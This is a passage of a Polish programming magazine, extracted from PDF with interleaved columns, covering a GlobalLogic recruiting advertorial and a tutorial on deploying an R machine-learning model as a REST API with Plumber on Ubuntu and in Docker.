zależności pomiędzy poszczególnymi modułami, co pozwoliło nam
odnajdywać lokalne „korzenie” (czyli takie moduły, do których nie WOJCIECH SURA
było zależności z modułów napisanych w Delphi) i wyznaczyć wła- wojciechsura@[Link]
ściwą kolejność przepisywania plików. Oszczędziło nam to wielu kło- Programuje od 25 lat, z czego 10 komercyjnie; ma
potów i pozwoliło sprawnie przeprowadzić cały proces. na koncie aplikacje desktopowe, webowe, mobilne
i wbudowane - pisane w C#, C++, Javie, Delphi, PHP,
GraphViza możemy więc używać w każdej sytuacji, w której
Javascript i w jeszcze kilku innych językach. Obecnie
mamy do czynienia z taką strukturą, która ze swojej natury jest gra- pracuje w firmie WSCAD, rozwijającej oprogramowa-
fem. Warto o tym pamiętać. nie nowej generacji CAD dla elektrotechników.

<12> {  3 / 2021 < 97 >  }


GLADIATORZY
OPROGRAMOWANIA
Technologia wciąż ewoluuje, a to oznacza, że trze-
ba być nieustannie gotowym do intelektualnej wal-
ki. Stąd też w Gliwicach narodziło się pojęcie „Gla-
diatorów oprogramowania”, którzy każdego dnia
hartują się nowymi wyzwaniami, niczym rzymscy
wojownicy w swoich ludus.

Analogii do antycznych herosów jest wiele. Inżynierowie nieustannie


sprawdzają swoje umiejętności i rozwijają je na swoistych arenach,
Mieszkasz na Śląsku i szukasz pracy w IT?
które stanowią środowiska i narzędzia partnerów. Przyciągają na nich
wzrok, przejmując najważniejsze role techniczne przy projektach, Dołącz do zespołu GlobalLogic i zostań inżynierem
zajmującym się rozwojem oprogramowania motoryza-
w które zaangażowani są specjaliści z całego świata. Tak właśnie wy- cyjnego. To szansa na pracę w standardzie AUTOSAR,
gląda praca w Gliwicach, w których działa zespół gladiatorów opro- który jest używany w każdym masowo produkowa-
gramowania z GlobalLogic. Regularnie odwiedzamy ośrodki R&D nym samochodzie. Twórz rozwiązania wykorzysty-
wane na co dzień przez kierowców na całym świecie.
(Research and Development) producentów, gdzie możemy badać, jak
dany układ zachowuje się w prototypowych modelach samochodów, Pracuj wygodnie, w modelu hybrydowym, w którym
połączysz atuty pracy zdalnej i możliwość współ-
które dopiero wyjadą na drogi. Zawsze analizujemy całościowy stan
działania na miejscu, w biurze w Gliwicach, z innymi
systemu i samochodu, współpracując bezpośrednio z producentami, członkami zespołu.
co zapewnia nam prawidłowe zrozumienie tematu i wiarygodność
Sprawdź aktualne oferty pracy na:
– wyjaśnia Łukasz Rybka, Program Director w GlobalLogic. [Link]/pl/careers/
To, co wyróżnia współczesnych gladiatorów, to możliwości roz-
woju. Otwarta komunikacja i swobodna wymiana wiedzy wewnątrz
zespołu stanowią codzienność, podobnie jak współpraca z inżynie-
rami z całego świata. Poszerzanie horyzontów to dewiza branży IT, odpowiadających za diagnostykę samochodową, sterowanie wyświe-
która żyje szkoleniami wewnętrznymi i zewnętrznymi, a także pro- tlaczem, zdalne aktualizacje czy systemy ratunkowe, wymagają kon-
jektami realizowanymi przez międzynarodowe zespoły działające kretnych umiejętności i doświadczenia.
w różnych strefach czasowych. Świat oprogramowania jest ogromny. Specjalizacja w standardzie AUTOSAR, który jest używany w każ-
Dzięki tak rozległej współpracy, wielokulturowemu otoczeniu oraz cią- dym masowo produkowanym samochodzie, sprawia, że pełnimy rolę
gle zmieniającej się technologii można się dużo nauczyć, ale również ekspertów i architektów w dużych komercyjnych projektach. Fakt, że
podzielić wiedzą, budując jednocześnie pozycję na rynku. To ogromna nasze oprogramowanie jest używane w setkach tysięcy aut segmentu
zaleta – podsumowuje Łukasz Rybka. premium i wykorzystywane na co dzień przez kierowców z całego świa-
ta, daje ogromną satysfakcję – mówi Patryk Pankiewicz, Consultant
w GlobalLogic.
Gladiatorzy od motoryzacji
W Gliwicach inżynierowie GlobalLogic pracują w modelu hybrydo-
Jak pracować mądrze w IT
wym, na co dzień z domów, ale gdy tylko pojawi się potrzeba, mają
też do dyspozycji dedykowaną przestrzeń biurową, gdzie mogą się Praca w IT oferuje intensywne tempo rozwoju. Specjaliści wkraczają-
spotkać. Zakres ich działań obejmuje cały proces rozwoju oprogra- cy w ten świat od pierwszego dnia zaczynają się uczyć, by przez ko-
mowania motoryzacyjnego – od analizy wymagań klienta, przez lejne lata zbierać nowe umiejętności. Nieustanny kontakt z nowymi
stworzenie architektury, po jej implementację i weryfikację. Realizują technologiami i projektami sprawia, że z pewnością nie można się
projekty, których efektem końcowym są bezpieczne i funkcjonalne w tej branży nudzić. W 2021 roku z tych szans może już korzystać
rozwiązania stanowiące serce komunikacji samochodu ze światem każdy, niezależnie od miejsca zamieszkania. Warto jednak przy wy-
zewnętrznym. Na barkach gladiatorów spoczywa [Link]. opracowanie borze kierować się nie tylko wygodą pracy zdalnej, ale również ko-
oprogramowania jednostki Telematic Control Unit (TCU), a więc rzyściami wynikającymi z dołączenia do konkretnego środowiska.
systemu, który będzie skutecznie realizował powierzone zadania, Nikt bowiem nie da Ci więcej, niż zespół, w którym będziesz mógł
zbierając dane i zapewniając komunikację samochodu ze światem. stać się kimś lepszym.
Musi on być odporny na błędy i zakłócenia – dopracowany do per- Zainteresowany? Dołącz do gladiatorów ze Śląska – sprawdź, jakich
fekcji. Tego rodzaju projekty, a także podobne dotyczące jednostek specjalistów szukamy, na stronie [Link]/pl/careers.

{  MATERIAŁ INFORMACYJNY  }
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

REST API w języku R – rozwiązania i pułapki


Pomimo tego, że R jako język i środowisko jest zdecydowanie dojrzały i niemal wszystkie
problemy dają się szybko rozwiązywać w oparciu o oficjalną dokumentację, to wciąż istnieją
obszary, w których może on zaskoczyć, gdy trzeba go użyć „na produkcji”. Okazuje się, że
pułapek, w jakie można dać się złapać, przygotowując REST API – korzystając z biblioteki
Plumber – i uruchamiając je z poziomu systemu Linux, jest więcej niż można się spodziewać.

ZAŁOŻENIA dotyczący wersji R. Wszystkie te założenia nie wzięły się też z abs-
trakcyjnych rozważań czy analizy literatury na ten temat, a wynikają
Funkcjonuje obiegowa opinia, że w pracy nad modelami uczenia ma- z doświadczeń w realizacji projektów w AI Center of Excellence dzia-
szynowego 90% czasu poświęca się na przygotowanie danych, tzn. ich łającym w Capgemini Software Solution Center we Wrocławiu.
czyszczenie i przekształcenie do odpowiedniej postaci, a 10% na ich Jak się za chwilę okaże, każde z opisanych tu założeń stanowi pew-
modelowanie i „całą resztę”. Dziś chciałbym opisać to, co mieści się ne wyzwanie. Aby jednak nie rozwiązywać wszystkich problemów
w tej ostatniej kategorii, a co potrafi przysporzyć całkiem niemałych naraz, zacznę od przygotowania potrzebnego kodu w najprostszym
kłopotów, jeśli weźmie się pod uwagę typowe założenia dotyczące środowisku, czyli w systemie Windows, w którym jako IDE wykorzy-
uruchamiania kodu w systemach IT, na których opierają swoją pracę stam RStudio. W takim środowisku pracuje większość osób zajmują-
duże i średnie firmy. Konkretnie pokażę tutaj, jak można przygoto- cych się dziedziną data science i instalacja potrzebnych bibliotek oraz
wać do wykorzystania w środowisku produkcyjnym model uczenia oprogramowania w nim właśnie została maksymalnie uproszczona.
maszynowego zaimplementowany i wytrenowany w języku R. Dopiero gdy nasz kod będzie gotowy, pokażę, jak można przygoto-
Zakładam, że: wać odpowiednią instalację R dla Linuxa, z jakimi problemami się to
» kod wykonujący wnioskowanie w oparciu o nasz model ma wiąże i jak można sobie z nimi poradzić na dwa różne sposoby. I tu
działać na maszynie o architekturze x64 pracującej w syste- małe zastrzeżenie: w przypadku produkcyjnych rozwiązań częstym
mie Linux (dla uproszczenia założymy, że jest to dystrybucja wymogiem jest przygotowanie odpowiedniej automatyzacji testowa-
Ubuntu), nia i umieszczania kodu w środowisku produkcyjnym (tzw. pipeli-
» wykorzystujemy R w wersji 4.x.x, ne CI/CD), którego tutaj nie będę uwzględniał – inaczej artykuł ten
» interfejsem, przy pomocy którego odwołujemy się do naszego mógłby się rozrosnąć do monstrualnych rozmiarów.
kodu, jest REST API.

„BUŃCZUCZNY HYDRAULIK”,
Dlaczego takie właśnie założenia?
CZYLI PLUMBER I SWAGGER UI
Coraz częściej rozwiązania z obszaru uczenia maszynowego
umieszcza się w chmurze, nie tylko dlatego, że wymagają one mocy Najistotniejszym elementem w rozwiązaniu, które spełni docelowo
obliczeniowej, którą w ten sposób można pozyskać w najtańszy lub opisane wyżej założenia, jest biblioteka Plumber ([Link]
najbardziej elastyczny sposób, ale coraz częściej dlatego, że w wielu [Link]/). Pozwala ona na bardzo zwięzłą w swoim zapisie implemen-
firmach cała infrastruktura już jest w chmurze lub jest do niej suk- tację webowych API (w tym takich, które spełniają założenia REST;
cesywnie migrowana i po prostu nie ma innej możliwości niż sko- zobacz [Link] Interfejsy te są tworzone na ba-
rzystanie z niej jako platformy utrzymywania nowych komponentów zie funkcji języka R, przed definicją których dodaje się dekoratory
systemów. W niektórych przypadkach możliwe jest zastosowanie już opisujące cechy interfejsu (nazwę endpointa, listę parametrów wraz
istniejących rozwiązań dostarczanych przez dostawcę chmury, które z typami oraz operacje, które należy wykonać na danych wyjścio-
pozwalają umieścić w nich modele uczenia maszynowego przygoto- wych). Jeśli ktoś tworzył kiedyś interfejsy REST API przy pomocy
wane przy pomocy języka R. W ogólnym jednak przypadku bywa, biblioteki Flask w Pythonie, to zapewne zauważy tu duże podobień-
że jedynym sensownym rozwiązaniem jest podejście oparte o samo- stwo na poziomie składni. Jeśli chcielibyśmy na przykład, aby moż-
dzielnie przygotowany kod realizujący funkcjonalność REST API. liwe było odwołanie do modelu drzewa decyzyjnego zaimplemento-
Rozwiązanie takie pozwala uniezależnić się od dostawcy chmury wanego przy użyciu biblioteki rpart wytrenowanego do rozwiązania
obliczeniowej, co jest czasem dodatkowym wymogiem stawianym słynnego problemu klasyfikacji irysów (zobacz [Link]
przez klientów biznesowych. Do tego dochodzi kwestia systemu, org/wiki/Iris_flower_data_set), fragment potrzebnego kodu wyglądać
w którym funkcjonują nasze kontenery. Z różnych przyczyn – cza- będzie następująco:
sem aby zminimalizować ceny usług, a czasem z powodu innych wy-
Listing 1. Plik api.R
mogów funkcjonalnych – bardzo często okazuje się, że musimy zaim-
plementować nasze rozwiązania z myślą o systemie Linux. Względy library(rpart)
load("[Link]")
bezpieczeństwa natomiast wymuszają stosowanie zawsze aktualnego treeFit <- unserialize(model_out)
lub przynajmniej w miarę aktualnego oprogramowania, stąd wymóg

<14> {  3 / 2021 < 97 >  }


/ REST API w języku R – rozwiązania i pułapki /

#* @get /predict/<pW:float>/<pL:float>/<sW:float>/<sL:float> wynik działania modelu będzie również nazwane tą nazwą – wyglą-
#* @serializer unboxedJSON
function(pW, pL, sW, sL){
dać to będzie np. następująco:
input <- [Link]([Link]=c(sL),
[Link]=c(sW), {
[Link]=c(pL), "result": "virginica"
[Link]=c(pW)) }
output<-list(predict(treeFit, newdata=input, type="class"))
names(output)<-c("result")
output Wróćmy teraz do tego, jak sprawić, żeby nasz kod faktycznie zadzia-
}
łał jako API. W pierwszej kolejności musimy zainstalować bibliotekę
Widzimy, że funkcja, która ma pełnić rolę „silnika” naszego interfej- Plumber wraz z zależnościami. Pracując w RStudio pod Window-
su, została opatrzona dwoma dekoratorami. Pierwszy z nich – @get sem, mamy wyzwanie, które jest trywialne – wystarczy jedno pole-
– definiuje sposób wywołania endpointa. W tym przypadku będzie cenie: [Link]("plumber"). Po jego wykonaniu zobaczy-
on dostępny dzięki metodzie GET protokołu HTTP, będzie nosić na- my serię komunikatów, z których następujący oznacza, że biblioteka
zwę predict, a jako parametry przyjmować będzie 4 wartości typu Plumber została zainstalowana poprawnie:
float, które otrzymają kolejno nazwy: pW, pL, sW i sL. Drugim deko-
package 'plumber' successfully unpacked and MD5 sums checked
ratorem użytym w powyższym przykładzie jest @serializer, czyli
wskazanie funkcji, która przetworzy dane wyjściowe do postaci, któ- Teraz potrzebujemy jeszcze przygotować plik z zapisanym modelem
rą można umieścić wewnątrz odpowiedzi na zapytanie w protokole drzewa decyzyjnego. Jest to zadanie dość standardowe, opisywane
HTTP, czyli ciąg znaków. W tym przykładzie użyjemy unboxedJSON, na rozmaite sposoby w wielu samouczkach i artykułach, więc w tym
czyli funkcji, która zwraca wynik w formacie JSON, gdzie rezultat miejscu – tylko dla kompletności artykułu – przytoczę wersję, którą
zostanie podany jako pojedyncza wartość, a nie jako wektor (w od- wykorzystałem, przygotowując opisywany tu kod:
różnieniu od funkcji json domyślnie zwracającej wektory – zobacz
Listing 2. Plik train.R
[Link]
W powyższym przykładzie zwraca też uwagę to, jak przygotowu- library(datasets)
data(iris)
jemy listę zawierającą wynik działania modelu – jedynemu elemen- library(rpart)
towi tej listy nadajemy nazwę result. Dzięki temu zabiegowi nasz treeFit <- rpart(Species~.,data=iris,method = 'class')
model_out <- serialize(treeFit, NULL)
interfejs zwróci dane w formacie JSON, w których pole zawierające save(model_out, file="[Link]")

Rysunek 1. Zrzut ekranu okna Swagger UI zaraz po uruchomieniu

{  [Link]  } <15>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Po uruchomieniu zaprezentowanego powyżej kodu tworzony jest Jeśli używamy RStudio, wyżej opisany kod nie tylko uruchomi
plik [Link], który będzie wczytywany przy uruchamianiu naszego serwer pozwalający korzystać z API oraz uruchomić dla niego Swag-
API. Pozostaje teraz już tylko ostatni krok – skrypt do uruchomienia ger UI, ale także otworzy automatycznie okienko, w którym Swagger
serwera: UI zostanie otwarty. Zobaczmy teraz, jak działa nasze API:
1. W tym celu klikamy na „GET” i otrzymujemy formularz pozwa-
Listing 3. Plik server.R
lający wprowadzić dane wejściowe modelu – Rysunek 2.
my_server <- plumber::plumb("api.R") 2. Następnie klikamy „Try it out” – Rysunek 3.
my_server$run(host="[Link]", port=8000, swagger=TRUE)
3. Wypełniamy formularz i klikamy „Execute” – Rysunek 4.

Co dzieje się w tych dwóch linijkach kodu? Po pierwsze, tworzymy W tym przykładzie nasze API jest odpytywane z parametrami, jakie
obiekt reprezentujący nasze API zaimplementowane w pliku api.R podaliśmy w formularzu Swagger UI, a w oknie przeglądarki dosta-
(i nazywamy go my_server). W drugim poleceniu uruchamiamy ser- jemy nie tylko informację o wyniku, lecz także zawartość nagłówka
wer webowy, który będzie stanowił podstawę dla naszego API, poda- i dokładne informacje o sposobie wywołania. Gdyby naszym za-
jąc jego parametry: daniem było przygotowanie API, które będzie działać na maszynie
» host="[Link]" oznacza, że serwer będzie dostępny z poziomu pracującej pod systemem Windows, byłoby ono w zasadzie ukończo-
wszystkich istniejących w systemie interfejsów sieciowych (co ne z dokładnością do szeregu czynności, niezbędnych ze względów
w szczególności oznacza, że będziemy mogli się odwoływać do bezpieczeństwa i dobrych praktyk w automatyzacji udostępniania
niego nie tylko przez localhost, ale także, że będzie on dostępny i testowania działającego kodu, o których nie będę tu wspominał
dla hostów z zewnątrz, o ile w systemie będziemy mieć skonfi- w szczegółach. Teraz pora odpowiedzieć sobie na pytanie: jak to wy-
gurowane odpowiednie interfejsy), gląda w sytuacji, gdy chcemy lub musimy utworzyć rozwiązanie dzia-
» port=8000 oznacza, że portem TCP, na którym serwer będzie łające w systemie Linux?
nasłuchiwał zapytań, będzie 8000,
» swagger=TRUE oznacza, że razem z naszym API uruchomiony
zostanie pakiet Swagger UI, który w szczególności dostarcza in-
terfejsu użytkownika przydatnego do wstępnego testowania (zo-
bacz [Link]

Rysunek 2. Swagger UI po kliknięciu „GET”

<16> {  3 / 2021 < 97 >  }


/ REST API w języku R – rozwiązania i pułapki /

Rysunek 3. Swagger UI po kliknięciu „Try it out”

Rysunek 4. Swagger UI po zakończeniu wywołania API

{  [Link]  } <17>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

INSTALACJA W LINUXIE Czy te zmiany wystarczą? Okazuje się, że nie. Przy próbie ponow-
nego zainstalowania R otrzymujemy następujący zestaw komunikatów:
Od tej chwili pracować będziemy już w systemie Ubuntu, a nie Win-
Reading package lists...
dows. Osobiście pracowałem na wirtualnej maszynie utworzonej W: GPG error: [Link]
w aplikacji VirtualBox ([Link] a plik instalacyj- focal-cran40/ InRelease: The following signatures couldn't be
verified because the public key is not available: NO_PUBKEY
ny systemu pobrałem ze strony [Link] 51716619E084DAB9
(wybrałem najnowszą wersję oznaczoną jako „LTS” – long-term sup- E: The repository '[Link]
focal-cran40/ InRelease' is not signed.
port). Instalacja jest względnie prosta, a informację, jak ją przeprowa-
dzić, można bez trudu odnaleźć w różnorakich źródłach.
Standardowym podejściem do instalacji interpretera języka R Na czym polega problem? No cóż – zażądaliśmy instalacji pakietów,
w Linuxie (Ubuntu) jest użycie polecenia apt-get, które odnajdu- które pochodzą z repozytorium, które nie jest podpisane kluczem
je odpowiednie pakiety do zainstalowania w domyślnych repozyto- z „oficjalnego” zestawu kluczy zapisanego w dystrybucjach Ubuntu.
riach. Konkretne polecenie wygląda następująco: Co teraz?
Okazuje się, że pomimo braku aktualnych pakietów ze środowi-
sudo apt-get update && apt-get install -y r-base
skiem R na [Link], publiczny klucz, którym podpisane
są te pakiety, jest dostępny na serwerze [Link]. Można
Niestety, w Ubuntu zamiast wersji 4.1.0, czyli najnowszej w chwili pi- go dodać do zbioru kluczy, z których korzysta apt-get, poleceniem
sania tego artykułu, zainstalowana zostanie wersja 3.6.3. apt-key, jednak do wykonania tej operacji potrzebny jest pakiet
Dlaczego tak się dzieje? Otóż wynika to z tego, że polecenie apt- gnupg lub gnupg2. Jego instalacja nie jest jednak problematyczna
get domyślnie pobiera i instaluje pakiety z serwera znajdującego się i ostatecznie wszystko, co musimy zrobić, to wykonanie następują-
pod URL-em [Link] a tam – niestety – wersje pa- cych poleceń:
kietów związanych z R są dość mocno opóźnione względem tego, co
sudo apt-get install gnupg
jest dostępne do pobrania na stronie [Link] (opóźnienie na ten sudo apt-key adv --keyserver [Link] --recv-keys
moment wynosi prawie 1,5 roku). Na szczęście istnieje możliwość 51716619E084DAB9

ustawienia źródeł, z których pobierane są pakiety do instalacji – po-


lecenie ustawiające adresy tego typu repozytoriów można dodać do Po tej zmianie R instaluje się już poprawnie w najnowszej wersji
pliku /etc/apt/[Link]. Do tego potrzebować będziemy „nazwy ko- (w moim przypadku było to 4.1.0) – oczywiście należało jeszcze raz
dowej” wersji Ubuntu, w której chcemy zainstalować R. wpisać:
Jak sprawdzić nazwę kodową wersji Ubuntu? Jest ona zapisana
sudo apt-get update && apt-get install -y r-base
w pliku /etc/lsb-release, wystarczy więc wydać polecenie:
Okazało się jednak, że to nie koniec naszych zmagań. Przy próbie in-
sudo cat /etc/lsb-release
stalacji biblioteki Plumber, czyli na przykład poprzez polecenie:

sudo R -e "[Link]('plumber')"
aby wyświetlić jego zawartość. W moim przypadku wyglądała ona
następująco:
pojawiają się kolejne błędy – brakuje pakietów systemowych, od któ-
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04 rych zależy Plumber, a których instalacji nie jest w stanie dokonać sam
DISTRIB_CODENAME=focal skrypt instalacyjny z poziomu R. Otrzymujemy np. takie komunikaty:
DISTRIB_DESCRIPTION="Ubuntu 20.04.2 LTS"
No package 'libsodium' found
Using PKG_CFLAGS=
Interesować nas tutaj będzie wartość zmiennej DISTRIB_CODENAME, Using PKG_LIBS=-lsodium
----------- ANTICONF ERROR -----------
czyli w naszym przypadku focal. Poleceniem, które musimy teraz Configuration failed because libsodium was not found. Try installing:
dodać do pliku /etc/apt/[Link], będzie: * deb: libsodium-dev (Debian, Ubuntu, etc)
* rpm: libsodium-devel (Fedora, EPEL)
* csw: libsodium_dev (Solaris)
deb [Link] focal-cran40/ * brew: libsodium (OSX)
If libsodium is already installed, check that 'pkg-config' is in your
PATH and PKG_CONFIG_PATH contains a [Link] file. If pkg-config
is unavailable you can set INCLUDE_DIR and LIB_DIR manually via:
Jak widać, nazwa kodowa pojawia się jako element nazwy dystrybu- R CMD INSTALL --configure-vars='INCLUDE_DIR=... LIB_DIR=...'
cji, której będziemy chcieli użyć: focal-cran40/ (odnośnie szczegó- ---------------------------------------------------------------
ERROR: configuration failed for package 'sodium'
łów polecenia deb zobacz [Link]
Zmianę taką można wykonać ręcznie, korzystając z edytora tek-
stu takiego jak vi lub nano, ale można również zrobić to przy pomocy Komunikaty te dotyczą dwóch pakietów: libcurl4-openssl-dev oraz
następującego polecenia: libsodium-dev. Należy je więc zainstalować przy pomocy apt-get:

sudo echo "deb [Link] focal- sudo apt-get install -y libcurl4-openssl-dev libsodium-dev
cran40/" >> /etc/apt/[Link]

<18> {  3 / 2021 < 97 >  }


/ REST API w języku R – rozwiązania i pułapki /

Dopiero ta zmiana po kolejnym wywołaniu polecenia instalu- Korzyści z takiego rozwiązania pojawiają się natychmiast, gdy po-
jącego pakiet Plumber przynosi upragniony komunikat: * DONE trzebujemy na tej samej maszynie uruchamiać aplikacje wymagające
(plumber), co ostatecznie kończy zmagania z instalacją. Teraz, po różnych konfiguracji systemu – dzięki kontenerom nie musimy już
przekopiowaniu do jednego z folderów plików, o których wspomina- mieć oddzielnej maszyny (wirtualnej) dla każdej aplikacji różnią-
łem wcześniej (api.R, server.R oraz [Link]), możemy uruchomić cej się istotnie swoimi wymogami od innych – możemy zastosować
API, np. wywołując polecenie: eleganckie i minimalnie obciążające system rozwiązanie oparte na
kontenerach. Korzyści widać też, gdy potrzebujemy dynamicznie
Rscript server.R
zarządzać skalowaniem systemu, zwłaszcza gdy korzystamy z usług
chmurowych, choć nie tylko wtedy (np. gdy platformę Kubernetes
Musimy jeszcze zadbać o to, aby nasz serwer udostępniał światu port stosuje się na serwerach we własnej serwerowni). Kontenery stały
8000, na którym działa API – np. w konfiguracji maszyny wirtualnej się też standardem dostarczania w przypadku wielu usług chmuro-
w aplikacji VirtualBox. Oczywiście możemy do naszego API odwoły- wych, np. AWS opiera budowę swojego flagowego produktu dedy-
wać się z poziomu systemu Ubuntu przez localhost, choćby po to, aby kowanego do uczenia maszynowego (AWS SageMaker) właśnie na
je przetestować. Dockerze. Jest to też najprostszy sposób, gdy chcemy przetestować
funkcjonalność jakiegoś rozwiązania w środowisku chmury – dzięki

CZY MOŻNA PROŚCIEJ? usługom serverless, takim jak np. Elastic Container Service w AWS
czy też Azure Container Instances w Azure, kontener z naszą aplika-
Patrząc na komplikacje związane z konfigurowaniem repozytoriów, cją można umieścić „w usłudze”, tzn. na serwerze, do którego mamy
z których instalowany jest pakiet r-base, można się zastanawiać, czy dostęp tylko przez odpowiedni interfejs platformy chmurowej, co
można to zrobić prościej. I odpowiedź na to pytanie jest twierdzą- zwalnia nas z troszczenia się o cały szereg czynności związanych
ca – okazuje się, że jednym z prostszych sposobów poradzenia sobie z utrzymaniem serwera (np. z aktualizacji oprogramowania i zabez-
z tymi problemami jest zastosowanie kontenerów Dockera. pieczania serwera przez różnego rodzaju zagrożeniami) – robi to za
Czym są kontenery? Można to wyjaśnić, opierając się na porów- nas dostawca chmury. Warto w tym momencie wspomnieć o tym, że
naniu z maszynami wirtualnymi. Maszyny wirtualne udostępniają obecnie dominującym standardem tworzenia i utrzymywania konte-
zwirtualizowaną warstwę sprzętową. Z punktu widzenia systemu nerów jest Docker ([Link] Początkowo narzędzie
operacyjnego mamy sytuację taką samą lub bardzo zbliżoną do tej, to dostępne było jedynie dla systemów Linux i choć obecnie istnieją
w jakiej używalibyśmy bezpośrednio fizycznej maszyny, choć tak nie natywne implementacje dla Windows (od wersji 10) oraz Windows
jest i na jednej fizycznej maszynie działać może wiele wirtualnych. Server (w wersji 2016 i 2019), to nadal, z różnych względów, Docker
Natomiast kontenery są rozwiązaniem pozwalającym zwirtualizować najczęściej jest stosowany w tandemie z jakąś dystrybucją systemu
konfigurację systemów operacyjnych – możemy mieć wiele kontene- Linux pracującą w maszynie wirtualnej.
rów korzystających z tego samego jądra systemu, ale różniących się W naszym przypadku kontenery niosą ze sobą jeszcze jedną ko-
między sobą jego konfiguracją. Schematycznie działanie kontenerów rzyść. Jak za chwilę się przekonamy, dzięki sposobowi, w jaki tworzy
przedstawiono na Rysunku 5. się i zarządza się tzw. obrazami kontenerów (wzorcami pozwalający-
mi na ich utworzenie lub inaczej blueprintami), możliwe jest wyko-
rzystanie już istniejących konfiguracji dostępnych standardowo dla
narzędzia Docker. Jednym z obrazów kontenerów udostępnionych
w ten sposób jest… kontener z pakietem r-base, który jest utrzymy-
wany w dość sprawny sposób, a co za tym idzie – zwykle dostępna
jest ostatnia wersja pakietu (a ściśle rzecz biorąc: ostatnie oficjalne
wydanie oparte na źródłach z CRAN opatrzone jest tagiem latest,
natomiast wszystkie wcześniejsze oficjalne wersje, począwszy od
3.1.2, są opatrzone tagami odpowiadającymi numerowi wersji – zo-
bacz [Link]
Przyjrzyjmy się teraz temu, jak w praktyce przygotować kontener
zawierający interpreter języka R, pozwalający zainstalować potrzebne
nam biblioteki (przede wszystkim Plumber z jej zależnościami) oraz
uruchomić REST API dostępne „z zewnątrz”.

ROBIMY WŁASNY OBRAZ KONTENERA


Rysunek 5. Schemat działania kontenerów na przykładzie Dockera działającego w systemie
Linux: na sprzęcie fizycznym (1) instalowany jest system operacyjny „bazowy” (2), w którym W kolejnych krokach potrzebować będziemy zainstalowanego na-
funkcjonuje system kontenerów (3) – w tym przypadku Docker. Narzędzie to dostarcza
mechanizmów tworzenia i zarządzania obrazami kontenerów (4), które mogą być wyko- rzędzia Docker. Możemy go umieścić zarówno na maszynie z syste-
rzystane do tworzenia kontenerów (5) – czyli uruchamiania aplikacji w wyizolowanych, mem Linux, jak i Windows (wówczas kontenery pracujące z założe-
wirtualnych środowiskach
nia w Linuxie będą uruchamiane w środowisku wirtualnej maszyny,
która zainstalowana zostanie wraz z Dockerem). W razie potrzeby

{  [Link]  } <19>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

szczegółowe instrukcje instalacji Dockera można odnaleźć na stronie Począwszy od drugiej linii pliku Dockerfile, możemy przyjąć, że
[Link] każda linia odpowiadać będzie jednej warstwie obrazu kontenera.
Kontenery w narzędziu Docker, a właściwie obrazy kontenerów, I tak mamy warstwy odpowiedzialne za:
które później służą do utworzenia kontenera, tworzy się poprzez » utworzenie podkatalogu, w którym znajdą się wszystkie potrzeb-
wykonanie specjalnego skryptu konfigurującego umieszczanego ne nam pliki: RUN mkdir -p /usr/local/src/myscripts,
w plikach standardowo nazywanych Dockerfile. W pierwszej kolej- » ustawienie tego podkatalogu jako domyślny katalog roboczy:
ności przeanalizujmy plik w wersji, która realizować będzie instalację WORKDIR /usr/local/src/myscripts,
pakietu r-base dokładnie w takiej postaci jak opisana w poprzednim » ustawienie parametru, który zapewnia, że wszystkie insta-
paragrafie – w Ubuntu. lacje inicjowane przez polecenie apt-get odbywać się będą
bez interakcji z użytkownikiem (jest to o tyle ważne, że
Listing 4. Plik Dockerfile w pierwszej wersji
w czasie budowania obrazu kontenera taka interakcja sta-
FROM ubuntu:focal je się niemożliwa i czasami uniemożliwia wykonanie obrazu):
RUN mkdir -p /usr/local/src/myscripts
WORKDIR /usr/local/src/myscripts ENV DEBIAN_FRONTEND=noninteractive,
ENV DEBIAN_FRONTEND=noninteractive » update pakietów instalowanych przez polecenie apt-get: RUN
RUN apt-get update
RUN apt-get install -y gnupg2 apt-get update,
RUN apt-key adv --keyserver [Link] \
--recv-keys 51716619E084DAB9
» instalację pakietu gunpg2: RUN apt-get install -y gnupg2,
RUN echo \ » instalację klucza potrzebnego do instalacji pakietów z repozyto-
"deb [Link] focal-cran40/" \
>> /etc/apt/[Link] rium na [Link]:
RUN apt-get update \
&& apt-get install -y libcurl4-openssl-dev libsodium-dev r-base RUN apt-key adv --keyserver [Link] --recv-keys
RUN R -e "[Link]('plumber')" 51716619E084DAB9
COPY . /usr/local/src/myscripts
EXPOSE 8000
ENTRYPOINT ["Rscript", "server.R"] » dodanie potrzebnego polecenia do pliku konfigurującego źró-
dła, z których apt-get pobiera pakiety do instalacji: RUN echo
Plik ten umieszczamy w jednym folderze razem z plikami server.R, "deb [Link] fo-
api.R oraz [Link] utworzonym wcześniej przy pomocy skryptu cal-cran40/" >> /etc/apt/[Link],
w pliku train.R, a następnie przechodzimy do tego folderu na pozio- » instalację pakietu r-base oraz pakietów wymaganych przez bi-
mie linii poleceń i uruchamiamy polecenie: bliotekę Plumber:

docker build -t kontenerr . RUN apt-get update && apt-get install -y libcurl4-openssl-dev
libsodium-dev r-base
Możemy zaobserwować, jak Docker kolejno wykonuje zaprogramo-
wane operacje, wykorzystując je do budowania obrazu kontenera, » uruchomienie interpretera języka R i zainstalowanie pakietu
który zostaje opatrzony nazwą (tagiem) kontenerr. Plumber:
Przeanalizujmy plik Dockerfile linia po linii, aby zrozumieć, jak
RUN R -e "[Link]('plumber')"
tworzy się ten obraz.
Zaczynamy od FROM ubuntu:focal, co oznacza, że nasz obraz kon- » skopiowanie wszystkich plików z katalogu, w którym urucho-
tenera będziemy budować, bazując na standardowym obrazie o nazwie mione zostało polecenie budowania obrazu kontenera, do
ubuntu w wersji oznaczonej słowem focal. Zatrzymajmy się w tym folderu roboczego wewnątrz kontenera utworzonego wyżej:
miejscu na moment, aby zrozumieć, co to tak naprawdę oznacza. COPY . /usr/local/src/myscripts,
Obrazy kontenerów są konstruowane poprzez tworzenie kolejnych » otwarcie portu 8000 do komunikacji z zewnątrz: EXPOSE 8000,
warstw1 – każda warstwa obrazu kontenera oznacza pewną konfigu- » ustawienie polecenia Rscript z parametrem server.R jako „punk-
rację, którą można wykorzystać albo do utworzenia kolejnej warstwy, tu wejściowego” kontenera, tzn. jako polecenie uruchamiane wraz z
albo do uruchomienia kontenera. Co więcej – na poziomie każdej utworzeniem kontenera: ENTRYPOINT ["Rscript", "server.R"].
z warstw obraz kontenera można wyeksportować do repozytorium
obrazów kontenerów, a co za tym idzie – po zaimportowaniu obra- Po ukończeniu budowania obrazu jest on od razu gotowy do wyko-
